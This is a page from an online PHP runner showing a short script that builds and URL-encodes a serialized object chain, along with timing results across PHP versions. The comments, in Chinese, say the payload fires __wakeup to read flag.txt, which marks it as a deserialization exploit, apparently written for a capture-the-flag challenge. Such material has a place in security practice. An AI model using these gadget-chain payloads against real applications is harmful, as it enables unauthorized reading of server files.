3v4l.org

run code in 500+ PHP versions simultaneously
<?php class RitualEngine { protected $settings; public $target; public $callback; } class Keystone { public $center; } class GateSentinel { public $object; public $tool; } // 1. 最内层 RitualEngine D:负责最终读取flag.txt $D = new RitualEngine(); $D->target = 'flag.txt'; $D->callback = null; // 用不到 // 2. RitualEngine C:callback序列化保存 [D, 'view'] $C = new RitualEngine(); $C->callback = serialize([$D, 'view']); // 3. Keystone K:center指向C $K = new Keystone(); $K->center = $C; // 4. GateSentinel B:object随意,tool['blade']指向K $B = new GateSentinel(); $B->object = 'nothing'; // 不含flag, .. , etc $B->tool = ['blade' => $K]; // 5. 最外层 GateSentinel A:object指向B,触发__wakeup $A = new GateSentinel(); $A->object = $B; // 生成payload $payload = serialize($A); echo urlencode($payload); // 输出后可用作POST data参数 ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.5.30.0120.00616.73
8.5.20.0240.01216.78
8.5.10.0320.00916.73
8.5.00.0120.00816.73
8.4.180.0320.01119.59
8.4.170.0310.01119.61
8.4.160.0350.00819.60
8.4.150.0310.01519.73
8.4.140.0240.00617.69
8.4.130.0190.00517.52
8.4.120.0140.00617.77
8.4.110.0380.00917.71
8.4.100.0330.00517.91
8.4.90.0340.01217.75
8.4.80.0360.00517.77
8.4.70.0320.01017.49
8.4.60.0390.00617.80
8.4.50.0430.00717.89
8.4.40.0330.01317.59
8.4.30.0170.00417.75
8.4.20.0190.00317.70
8.4.10.0390.00817.67
8.3.300.0370.00418.04
8.3.290.0340.00918.04
8.3.280.0380.00618.28
8.3.270.0310.00716.75
8.3.260.0320.00816.73
8.3.250.0360.00816.73
8.3.240.0330.00516.73
8.3.230.0370.00616.73
8.3.220.0410.00516.73
8.3.210.0330.01216.73
8.3.200.0350.01016.73
8.3.190.0380.00516.73
8.3.180.0360.00816.73
8.3.170.0350.01016.73
8.3.160.0400.00716.73
8.3.150.0390.00716.73
8.3.140.0390.01016.73
8.3.130.0310.00716.73
8.3.120.0280.01116.73
8.3.110.0340.00616.78
8.3.100.0350.00516.73
8.3.90.0340.00716.73
8.3.80.0390.00816.73
8.3.70.0350.01116.73
8.3.60.0370.00716.73
8.3.50.0390.00516.73
8.3.40.0340.01017.86
8.3.30.0280.00817.74
8.3.20.0310.00317.85
8.3.10.0270.01017.81
8.3.00.0320.00517.94

preferences:
49.72 ms | 738 KiB | 5 Q